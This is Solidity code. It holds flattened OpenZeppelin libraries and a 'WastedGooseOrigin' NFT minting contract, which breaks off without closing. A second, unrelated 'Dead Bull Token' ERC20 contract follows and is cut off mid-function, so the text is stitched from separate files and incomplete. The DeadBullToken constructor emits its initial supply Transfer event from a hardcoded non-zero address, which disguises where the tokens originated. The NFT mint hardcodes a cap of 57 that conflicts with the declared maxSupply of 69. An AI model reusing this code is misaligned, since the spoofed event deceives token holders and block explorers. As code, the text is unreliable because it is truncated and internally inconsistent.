* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract WastedGooseOrigin is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.1 ether;
uint256 public maxSupply = 69;
uint256 public maxMintAmount = 2;
bool public paused = true;
bool public revealed = true;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= 57);
require(msg.value >= cost * _mintAmount);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function mintForOwner(uint256 _mintAmount) public onlyOwner {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool hs, ) = payable(0x97D348fe58478a1FA29de4726134815A57834880).call{value: address(this).balance * 50 / 100}("");
require(hs);
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
/**
*/
/**
//SPDX-License-Identifier: UNLICENSED
Dead Bull Token
Telegram: https://t.me/DeadBullToken
* *
* *
** **
* ** ** *
** ** * * ** **
*** * ** ** * ***
**** ********************************* ****
******* *** ******* *** *******
************ ***** ************
********** **** * ** ** ******* **********
********** ** ** ** ****************
*************** ** ** *** ** *****************
****** ********************* ****** ******
********************** ***
************************ **
**** ** ** **** ** ** **
*** * * ** * * ***
** **
* *
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DeadBullToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Dead Bull Token";
string private constant _symbol = "DEADBULL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xF3e49819b9214e7B7b89bF1051074F55F91c3004);
_feeAddrWallet2 = payable(0xF3e49819b9214e7B7b89bF1051074F55F91c3004);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x817bb8B3f0Eb875D079B9C1A15E61C5C60000cC9), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
